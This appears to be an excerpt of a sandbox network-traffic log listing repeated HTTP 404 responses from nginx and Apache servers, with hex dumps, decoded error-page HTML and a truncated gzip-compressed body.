0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Aug 2024 11:51:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Aug 2024 11:51:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 02 Aug 2024 11:51:49 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-08-02T11:51:54.7200281Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 02 Aug 2024 11:51:52 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 18X-Rate-Limit-Reset: 2024-08-02T11:51:54.7200281Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 02 Aug 2024 11:51:54 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-08-02T11:51:59.7899409Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 02 Aug 2024 11:51:57 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-08-02T11:52:02.2922594Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:30 GMTServer: ApacheContent-Length: 493Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 3e 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 64 69 76 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6d 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 73 2f 70 6f 70 75 6c 61 72 2f 3f 67 72 69 64 5f 74 79 70 65 3d 6c 69 73 74 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 2f 61 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:33 GMTServer: ApacheContent-Length: 493Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 3e 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 64 69 76 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6d 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 73 2f 70 6f 70 75 6c 61 72 2f 3f 67 72 69 64 5f 74 79 70 65 3d 6c 69 73 74 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 2f 61 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:35 GMTServer: ApacheContent-Length: 493Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 3e 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 64 69 76 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6d 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 73 2f 70 6f 70 75 6c 61 72 2f 3f 67 72 69 64 5f 74 79 70 65 3d 6c 69 73 74 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 2f 61 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:38 GMTServer: ApacheContent-Length: 493Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 3e 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 64 69 76 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6d 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 73 2f 70 6f 70 75 6c 61 72 2f 3f 67 72 69 64 5f 74 79 70 65 3d 6c 69 73 74 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 2f 61 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a><!-- partial --> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:44 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:46 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:49 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 02 Aug 2024 11:52:51 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 02 Aug 2024 11:54:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 63 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 0d 96 94 48 a4 ed c6 6d 63 4b 32 d2 97 0d 03 fa 86 35 dd 30 38 29 71 45 5d 49 8c 29 5e 96 a4 6c 6b b1 81 b8 59 d7 0d cd 50 14 18 30 60 18 da 75 c3 be bb 69 dc ba 79 fd 0b d4 3f da 73 ee 25 25 92 92 63 a7 76 b1 29 b0 22 5e 9e 7b ee b9 e7 e5 39 87 e7 b2 71 b1 23 ed 68 e4 0b d6 8f 06 6e ab 41 df cc e5 5e af 59 12 5e 89 d9 2e 0f c3 66 c9 09 2d de e1 7e e4 6c 89 12 eb f0 88 d7 7d de 13 75 9a d7 2c f9 3c d8 74 bc 5e dd 0e c4 76 09 1c 04 ef b4 1a 03 11 71 66 f7 79 10 8a a8 59 fa e0 fa 2f ea af e2 9e 1a f5 f8 00 b3 02 d9 96 51 88 15 a4 17 09 0f 34 9e 74 bc 8e d8 39 91 aa 2b 5d 57 d2 42 cf 67 c6 03 bb 4f e2 26 74 7e 20 7d 11 44 a3 66 49 f6 56 43 27 12 16 89 91 59 7e 7b 7b db 68 bf b4 b8 64 84 3e b7 e7 4f 1b 06 6e 66 42 3f 8a fc 55 d3 cc cf 33 e7 ae e7 0c a0 ad d9 a9 23 39 0c 06 8e 27 8c 60 68 3a 66 a2 46 b3 e7 ca b6 95 5c 18 be d7 9b e5 d8 6d af 72 df b7 9c 4e 86 e5 f2 ab 8b 2b 57 96 af 2e af 5c 79 e5 e5 97 5f 59 49 27 69 5d 6f 39 62 db 97 41 94 a1 df 76 3a 51 bf d9 11 5b 8e 2d ea ea a2 e6 78 4e e4 70 b7 1e da dc 15 cd a5 3c 8b 44 a0 0c 07 ee 93 96 22 27 72 45 2b fe 7a 7c 27 7e 1a 3f 64 f8 ef 30 fe 36 3e 1a ef 8f 3f c6 ef 83 f1 1f e3 a3 f8 88 c5 0f 70 f7 31 6e 3d 89 0f 16 bc 76 e8 af e5 d5 c6 92 19 5f c4 0f 1b a6 66 d9 70 1d 6f 93 05 c2 6d 96 c2 68 e4 8a b0 2f 04 36 30 10 1d 87 37 4b dc 85 29 fa 81 e8 36 4b a9 e2 94 ff 19 76 18 42 2a 35 a3 d5 96 9d 11 bb 7d 81 65 3e 6d 6e 6f f6 02 39 f4 3a ab ec 67 6f ae d0 bf b5 09 c1 5e c3 d4 13 33 6b 3b f0 cf c9 4a 5d 0e 75 49 cf c0 57 89 69 e7 57 a6 35 77 ea 8a 0e 0b db 81 e3 47 2d f3 52 e3 e2 c6 eb 6f 5c bb 7e 6d e3 92 79 61 1b 8e 2d b7 8d 28 c0 e2 ef 2b 82 b7 24 ef b0 26 eb 0e 3d 3b 72 a4 57 a9 de de 5b bb 60 5e ba 79 b3 75 c9 84 10 9a 49 c2 8c 49 cf 05 79 b3 34 9f 4d a5 6c 0e b8 e7 74 45 18 19 b7 c2 72 b5 04 7a 11 04 32 38 e5 84 1a 5b c2 9c 30 b0 a1 c9 0c 23 18 3a 0d de 61 d4 55 c1 fb c2 72 11 12 c0 9b 48 23 e1 a9 65 2b 4e ca ca 57 b8 77 0a 19 b5 91 22 b1 13 99 b7 